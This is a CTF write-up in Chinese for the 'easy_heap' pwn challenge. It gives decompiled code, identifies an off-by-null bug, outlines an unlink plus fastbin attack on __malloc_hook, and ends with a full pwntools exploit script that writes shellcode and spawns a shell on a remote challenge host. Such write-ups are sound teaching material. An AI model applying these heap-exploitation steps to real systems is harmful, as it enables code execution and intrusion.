easy_heap

点击此处获得更好的阅读体验


解题思路

这个题主要是在offbynull上,题目如果预期解是house of orange的话这个题就复杂了很多但是其实用unlink解就容易多了。

静态分析

main

主要实现了功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
sub_CD0();
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf(&unk_12A8, &v3);
if ( v3 != 2 )
break;
del();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
fill();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice!");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}

del

正常的一个删除函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int del()
{
void *v0; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]
printf("Index: ");
v2 = sub_EE5();
if ( v2 <= 0xF && qword_202060[2 * v2 + 1] )
{
free(qword_202060[2 * v2 + 1]);
qword_202060[2 * v2 + 1] = 0LL;
qword_202060[2 * v2] = 0LL;
v0 = &unk_202040;
--unk_202040;
}
else
{
LODWORD(v0) = puts("Invalid index.");
}
return (signed int)v0;

fill

这里存在一个off by null的漏洞是可以利用的

1
2
3
4
5
6
7
8
9
10
int fill()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
printf("Index: ");
v1 = sub_EE5();
if ( v1 > 0xF || !qword_202060[2 * v1 + 1] )
return puts("Invalid index.");
printf("Content: ");
return input((__int64)qword_202060[2 * v1 + 1], (unsigned __int64)qword_202060[2 * v1]);
}

思路分析

  1. 进行一个unlink控制全局变量,这题还有别的解法就是off by null来unlink或者largebin attack 去控制和写入mmap的内存

  2. 写入mmap内存为shellcode然后利用fastbin attack 改写malloc_hook

这里的方法细节是在bss段构造一个fakechunk然后free进入unsortedbin 会有libc地址残留在指针处,然后改指针的低位,就可以malloc到需要的地方,然后改malloc_hook为one就可以了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
context.arch = "amd64"
context.log_level = "debug"
#p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"})
a = ELF("./easy_heap")
e = a.libc
print hex(e.symbols["puts"])
p = remote("132.232.100.67",10004)
#gdb.attach(p)#,"b *0x5555555554a0")
def add(size):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def remove(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.sendline(content)
p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil("\n",drop=True),16)
print hex(mmap_addr)
add(0xf8)
p.recvuntil("Address 0x")
addr = int(p.recvline().strip(),16) - 0x202068
add(0xf8)
add(0x20)
edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0))
remove(1)
edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr))
edit(1,asm(shellcraft.sh()))
bss_addr = 0x202040
edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5)
remove(1)
edit(0,p64(0)*3+p64(0x100)+'\x10')
edit(3,p64(mmap_addr))
add(0x20)
p.interactive()